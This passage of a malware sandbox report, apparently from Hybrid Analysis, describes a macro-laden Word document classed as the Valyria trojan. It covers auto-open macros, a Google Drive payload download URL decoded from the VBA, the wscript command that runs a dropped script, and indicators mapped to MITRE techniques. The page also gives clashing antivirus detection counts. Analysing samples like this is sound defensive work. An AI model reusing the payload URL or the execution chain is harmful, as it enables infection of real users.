\"00000000-00001220.00000000.77833.A31F5000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134.002","relevance":1,"id":"string-168","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete files/directories (API string)","description":"Found reference to API \"DeleteFileWW\" (Indicator: \"DeleteFile\"; Source: \"00000000-00001220.00000000.77833.182E0000.00000004.mdmp\")\n Found reference to API \"DeleteFileWWL\" (Indicator: \"DeleteFile\"; Source: \"00000000-00001220.00000000.77833.A3200000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.004","relevance":1,"id":"string-308","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete registry key/value (API string)","description":"Found reference to API \"RegDeleteKeyA\" (Indicator: \"RegDeleteKey\"; Source: \"00000000-00001220.00000000.77833.A31F5000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-230","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"System Security","name":"Contains ability to obtains specified information about the security of a file or directory (API string)","description":"Found reference to API \"ImpersonateLoggedOnUser\" (Indicator: \"ImpersonateLoggedOnUser\"; Source: \"00000000-00001220.00000000.77833.A31F5000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-114","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate a process (API string)","description":"Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; Source: \"00000000-00001220.00000000.77833.4CD82000.00000002.mdmp, 00000000-00001220.00000000.77833.A31F5000.00000002.mdmp\")\n Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; Source: \"00000000-00001220.00000000.77833.A31F5000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-316","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"System Security","name":"Contains ability to write files (API string)","description":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00001220.00000000.77833.4CD82000.00000002.mdmp, 00000000-00001220.00000000.77833.A31F5000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","id":"string-535","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"$41","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains reference to MS Word template folder","description":"$42","origin":"File/Memory","mitre_attack_id":"T1137.001","relevance":1,"id":"string-440","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops files inside appdata directory","description":"Dropped file: \"Templates.LNK\" - Location: [%APPDATA%\\Microsoft\\Office\\Recent\\Templates.LNK]- [targetUID: 00000000-00001568]\n Dropped file: \"index.dat\" - Location: [%APPDATA%\\Microsoft\\Office\\Recent\\index.dat]- [targetUID: 00000000-00001568]\n Dropped file: \"~WRD0002.tmp\" - Location: [%APPDATA%\\Microsoft\\Templates\\~WRD0002.tmp]- [targetUID: 00000000-00001568]\n Dropped file: \"ea451e5c064f79f66433d2311e90b965d1ee26cabc411f633d826cdb6920b83e.doc.LNK\" - Location: [%APPDATA%\\Microsoft\\Office\\Recent\\ea451e5c064f79f66433d2311e90b965d1ee26cabc411f633d826cdb6920b83e.doc.LNK]- [targetUID: 00000000-00001568]","origin":"Binary File","mitre_attack_id":"T1036","relevance":3,"id":"binary-37","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"wscript.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"suspicious","category":"Exploit/Shellcode","name":"Found URL in decoded VBA string","description":"Pattern match: \"https://drive.google.com/uc?export=download&id=1sodzdxjed9t-ypcpxxi1hwkypwgq7-00&confirm=t\"\n Pattern match: \"https://drive.google.com/uc?export=download&id=1SoDzDxjeD9T-yPcpXXI1hWkYpwGq7-00&confirm=t\"","origin":"File/Memory","relevance":10,"id":"string-18","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"suspicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"25/64 Antivirus vendors marked sample as malicious (39% detection rate)","origin":"External System","id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"suspicious","category":"General","name":"Reads configuration files (.ini files)","description":"\"wscript.exe\" reads file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Templates\\version.ini\"","origin":"API Call","mitre_attack_id":"T1083","relevance":4,"id":"api-6","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"suspicious","category":"Network Related","name":"Found potential IP address in binary/memory","description":"\"192.168.242.16\"\n Potential IP \"2.5.29.37\" found in string \"%2.5.29.37\"\n \"2.5.29.17\"\n \"2.5.29.31\"\n \"2.5.29.19\"\n Potential IP \"2.5.29.35\" found in string \"#2.5.29.35\"\n \"2.5.29.32\"\n \"2.5.29.14\"\n \"2.5.29.15\"\n \"2.5.29.1\"\n \"2.5.4.3\"\n \"49.1.1.5\"\n \"2.5.29.10\"\n Potential IP \"2.1.4.0\" found in string \"2.1.4.0, Mon 03/02/2009 12:32:57.69\"","origin":"File/Memory","mitre_attack_id":"T1071","relevance":3,"id":"string-14","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 142.250.72.206 on port 443 is sent without HTTP header","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"suspicious","category":"Remote Access Related","name":"Contains references to WMI/WMIC","description":"$43","origin":"File/Memory","mitre_attack_id":"T1047","relevance":3,"id":"string-30","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"suspicious","category":"System Security","name":"Modifies Software Policy Settings","description":"$44","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-19","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"suspicious","category":"System Security","name":"Writes registry keys","description":"details too long to display","origin":"Registry Access","mitre_attack_id":"T1112","relevance":3,"id":"registry-136","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Contains embedded VBA macros with suspicious keywords","description":"Found suspicious keyword \"Open\" which indicates: \"May open a file\"\n Found suspicious keyword \"CreateObject\" which indicates: \"May create an OLE object\"\n Found suspicious keyword \"MSXML2.ServerXMLHTTP\" which indicates: \"May download files from the Internet\"","origin":"Static Parser","mitre_attack_id":"T1204","relevance":10,"id":"static-15","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Contains embedded string that indicates auto-execute behavior","description":"Found keyword \"AutoOpen\" which indicates: \"Runs when the Word document is opened\"\n Found keyword \"AutoExec\" which indicates: \"Runs when the Word document is opened\"\n Found keyword \"AutoExit\" which indicates: \"Runs when the Word document is closed\"\n Found keyword \"AutoClose\" which indicates: \"Runs when the Word document is closed\"\n Found keyword \"AutoNew\" which indicates: \"Runs when a new Word document is created\"","origin":"File/Memory","relevance":10,"id":"string-20","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"malicious","category":"Anti-Detection/Stealthyness","name":"Windows system process connects to a network","description":"Process \"wscript.exe\" connects to 142.250.72.206:443","origin":"Monitored Target","mitre_attack_id":"T1055","relevance":7,"id":"target-269","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a large number of Antivirus engines","description":"25/64 Antivirus vendors marked sample as malicious (39% detection rate)","origin":"External System","relevance":10,"id":"avtest-3","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a trusted Antivirus engine","description":"No specific details available","origin":"External System","relevance":10,"id":"avtest-5","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"malicious","category":"General","name":"Document spawns new processes","description":"Document spawned a new process (macro present)","origin":"Indicator Combinations","mitre_attack_id":"T1055","relevance":7,"id":"summary-3","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Contains embedded VBA macros with keywords that indicate auto-execute behavior","description":"Found keyword \"AutoOpen\" which indicates: \"Runs when the Word document is opened\"","origin":"Static Parser","mitre_attack_id":"T1137","relevance":10,"id":"static-14","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]}],"incidents":[{"name":"Spyware","details_count":1,"details":[{"detail":"Found a string that may be used as part of an injection method"}],"sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"name":"Fingerprint","details_count":1,"details":[{"detail":"Queries process information"}],"sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 1 domain and 1 host"}],"sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]}]},"activity":{"stats":{"process_count":2,"spawned_processes_count":2,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":22,"imported_dlls_count":141,"dropped_files_count":0,"extracted_files_count":13,"files_written_count":10,"files_deleted_count":0,"registry_keys_created_count":3,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":3,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":1,"dns_resolutions_count":1,"contacted_urls_count":0,"http_requests_count":0},"behavior_tags":["phish","phishing","wacatac","macros-on-open"],"sample_flags":["Multi-Process","Network Traffic","Extracted Files"],"sandbox_reports":[{"id":"649cb66cd52f30a65f09181c","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"VB:Trojan.Valyria","contacted_countries":["USA"],"submit_name":"ea451e5c064f79f66433d2311e90b965d1ee26cabc411f633d826cdb6920b83e","analysis_start_time":"2023-06-28T22:38:36+00:00","indicators_count":{"informative":113,"suspicious":27,"malicious":5},"tags":["Multi-Process","Network Traffic","Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"142.250.72.206","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]}],"dns_resolutions":[{"domain":"drive.google.com","address":"142.250.72.206","ttl":49,"country":"United States","registrar_name":"MarkMonitor, Inc.","registrar_organization":"Google Inc.","registrar_name_servers":"NS1.GOOGLE.COM","registrar_creation_date":"1997-09-15T00:00:00+00:00","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]}],"http_requests":null},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}],"processes":[{"pid":1568,"ppid":0,"name":"WINWORD.EXE","command_line":"/n \"C:\\ea451e5c064f79f66433d2311e90b965d1ee26cabc411f633d826cdb6920b83e.doc\"","sha256":"007b8c7a282521d8981386fb31abda08f3710239c7bb83d8da3b5a9826ebe246","normalized_path":"%PROGRAMFILES%\\Microsoft Office\\Office14\\WINWORD.EXE","uid":"00000000-00001568","icon":"$45"},{"pid":1220,"ppid":0,"name":"wscript.exe","command_line":"//e:vbscript //b %APPDATA%\\Microsoft\\Templates\\version.ini","sha256":"1405f3fd5668c5357e374a918abd21e8d8408b2eda99af9ce593a702da1cc2aa","normalized_path":"%WINDIR%\\system32\\wscript.exe","uid":"00000000-00001220","icon":"$46"}],"all_imported_dlls":["sspicli.dll","ws2_32.dll","twinapi.appcore.dll","MSSP7EN.DLL","win32u.dll","mpr.dll","iertutil.dll","GFX.DLL","advapi32.dll","ole32.dll","shlwapi.dll","EsdSip.dll","gdi32full.dll","cryptbase.dll","wkscli.dll","AcSpecfc.dll","shell32.dll","SHCore.dll","dhcpcsvc6.dll","dhcpcsvc.dll","MpClient.dll","winhttp.dll","KernelBase.dll","ucrtbase.dll","clbcatq.dll","profapi.dll","msvcr90.dll","wbemsvc.dll","pwrshsip.dll","msxml3.dll","bcryptprimitives.dll","VxSSL64.dll","RICHED20.DLL","wintrust.dll","cfgmgr32.dll","netapi32.dll","kernel32.dll","apphelp.dll","ninput.dll","WWINTL.DLL","MSORES.DLL","winhttpcom.dll","OART.DLL","msimg32.dll","msi.dll","mskeyprotect.dll","powrprof.dll","cryptsp.dll","secur32.dll","dxgi.dll","wbemcomn.dll","msvcp_win.dll","gpapi.dll","urlmon.dll","msvcrt.dll","sechost.dll","dwmapi.dll","npmproxy.dll","cscapi.dll","ExplorerFrame.dll","bcrypt.dll","mscoreei.dll","imm32.dll","uxtheme.dll","srpapi.dll","dcomp.dll","OpcServices.dll","crypt32.dll","DataExchange.dll","wbemdisp.dll","GdiPlus.dll","ncryptsslp.dll","msasn1.dll","userenv.dll","rmclient.dll","d3d11.dll","wbemprox.dll","kernel.appcore.dll","netprofm.dll","sxs.dll","msIso.dll","1Pq8928u.dll","MSOINTL.DLL","nsi.dll","propsys.dll","ntdll.dll","MSO.DLL","policymanager.dll","msvcp110_win.dll","VBE7INTL.DLL","edputil.dll","xmllite.dll","aepic.dll","USP10.DLL","fastprox.dll","samcli.dll","rpcrt4.dll","gdi32.dll","oleaut32.dll","comctl32.dll","msctf.dll","ONBttnWD.dll","WinTypes.dll","AppxSip.dll","MSPTLS.DLL","sppc.dll","MSCONV97.DLL","linkinfo.dll","mlang.dll","ntasn1.dll","AcGenral.dll","WWLIB.DLL","wtsapi32.dll","coml2.dll","srvcli.dll","OSPPC.DLL","imagehlp.dll","slc.dll","combase.dll","IPHLPAPI.DLL","fltLib.dll","version.dll","MpOAV.dll","ntshrui.dll","wmiutils.dll","wshext.dll","mscoree.dll","CoreMessaging.dll","winnsi.dll","ntmarta.dll","CoreUIComponents.dll","netutils.dll","OnDemandConnRouteHelper.dll","ncrypt.dll","user32.dll","windows.storage.dll","VBE7.DLL","TextInputFramework.dll","CSS7DATA0009.DLL","wldp.dll","rsaenh.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"~_451e5c064f79f66433d2311e90b965d1ee26cabc411f633d826cdb6920b83e.doc","sha256":"2820507593b307075160abd5158557826ee851a7792cb937cbac4998a1043c05","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"name":"Templates.LNK","sha256":"15ba2fc235a916ab1d90d15b654918a225bf529ad19333a795191e3d029a7b67","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"name":"ea451e5c064f79f66433d2311e90b965d1ee26cabc411f633d826cdb6920b83e.doc.LNK","sha256":"f71dcc5994332a2dc25d1a35d313e35f96454e6e17d1bfe385a208b7f616bd0e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"name":"index.dat","sha256":"f7a1f16faec1da3cf2110ebc4397e6b25af26e63947db3d50308915445d33bf5","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"name":"~WRD0002.tmp","sha256":"753b9b8b17bcbd6ba1d0bb39ab8da32ea6eb9ebdfd6a1ca74d9e585ab230f2f0","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"name":"~WRD0000.tmp","sha256":"26982f6bb8ebbf8f64bf015fcc91af281fcf4c5b8d58d60b387ff5722b0ad6bf","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"name":"~WRD1601.tmp","sha256":"87c925f36e3bbcbba1662f09899eed5ad19cc5105df0848fff5dcebd31a1695c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"name":"~WRS_CFFCCCCC-23CD-49F1-A230-791B0E6DA90C_.tmp","sha256":"27c3a6ac27aa2851e0e3656789ff105ec373999f457f37912115082394ac5af7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"name":"version.ini.LNK","sha256":"04bfbc05fb739c25164e11bddc8328699d2203b7470eaf36d99f559a8ccfda18","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"name":"~WRS_6F2CEBF6-D4AD-4ABB-A364-48F95870DBD7_.tmp","sha256":"4826c0d860af884d3343ca6460b0006a7a2ce7dbccc4d743208585d997cc5fd1","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"name":"ea451e5c064f79f66433d2311e90b965d1ee26cabc411f633d826cdb6920b83e.doc _2_.LNK","sha256":"f71dcc5994332a2dc25d1a35d313e35f96454e6e17d1bfe385a208b7f616bd0e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"name":"~_Normal.dotm","sha256":"2820507593b307075160abd5158557826ee851a7792cb937cbac4998a1043c05","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"name":"~_ersion.ini","sha256":"2820507593b307075160abd5158557826ee851a7792cb937cbac4998a1043c05","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]}],"files_written":[{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"path":"C:\\~WRD0000.tmp:Zone.Identifier","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Office\\Word14.customUI","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"path":"%APPDATA%\\Microsoft\\Office\\Recent\\ea451e5c064f79f66433d2311e90b965d1ee26cabc411f633d826cdb6920b83e.doc (2).LNK","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"path":"%APPDATA%\\Microsoft\\Office\\Recent\\ea451e5c064f79f66433d2311e90b965d1ee26cabc411f633d826cdb6920b83e.doc.LNK","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"path":"C:\\~WRD1601.tmp:Zone.Identifier","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"path":"%USERPROFILE%\\AppData\\Local","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Office\\14.0","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SHARED TOOLS\\PANOSE\\","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\CONNECTIONS\\","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\BaseNamedObjects\\552FFA80-3393-423d-8671-7BA046BB5906","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"name":"Local\\SM0:1568:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"name":"Local\\SM0:1568:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"name":"x64_10MU_ACBPIDS_S-1-5-5-0-191905","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"name":"x64_10MU_ACB10_S-1-5-5-0-191905","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"name":"SM0:1568:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\x64_10MU_ACBPIDS_S-1-5-5-0-191905","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\x64_10MU_ACB10_S-1-5-5-0-191905","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:1568:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:1568:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:1568:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"name":"\\BaseNamedObjects\\MTX_MSO_Formal1_S-1-5-21-735145574-3570218355-1207367261-1001","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"name":"\\BaseNamedObjects\\MTX_MSO_AdHoc1_S-1-5-21-735145574-3570218355-1207367261-1001","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"name":"\\BaseNamedObjects\\MsoShellExtRegAccess_S-1-5-21-735145574-3570218355-1207367261-1001","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:1220:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:1220:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"name":"Local\\SM0:1220:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]},{"name":"SM0:1220:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"649cb66cd52f30a65f09181c"}]}]}},"report_ids":{"sandbox_job_ids":["649cb66cd52f30a65f09181c"]}}}]]}] 20:null 24:[["$","title","0",{"children":"Malicious Valyria Sample ea451e5c064f… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample ea451e5c064f…. Malware family: Valyria. Threat score 100/100. 5/27 AV engines flagged this file. 5 malicious and 10 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/ea451e5c064f79f66433d2311e90b965d1ee26cabc411f633d826cdb6920b83e"}],["$","meta","4",{"property":"og:title","content":"Malicious Valyria Sample ea451e5c064f… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample ea451e5c064f…. Malware family: Valyria. Threat score 100/100. 5/27 AV engines flagged this file. 5 malicious and 10 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/ea451e5c064f79f66433d2311e90b965d1ee26cabc411f633d826cdb6920b83e"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Valyria Sample ea451e5c064f… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample ea451e5c064f…. Malware family: Valyria. Threat score 100/100. 5/27 AV engines flagged this file. 5 malicious and 10 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L47","11",{}]]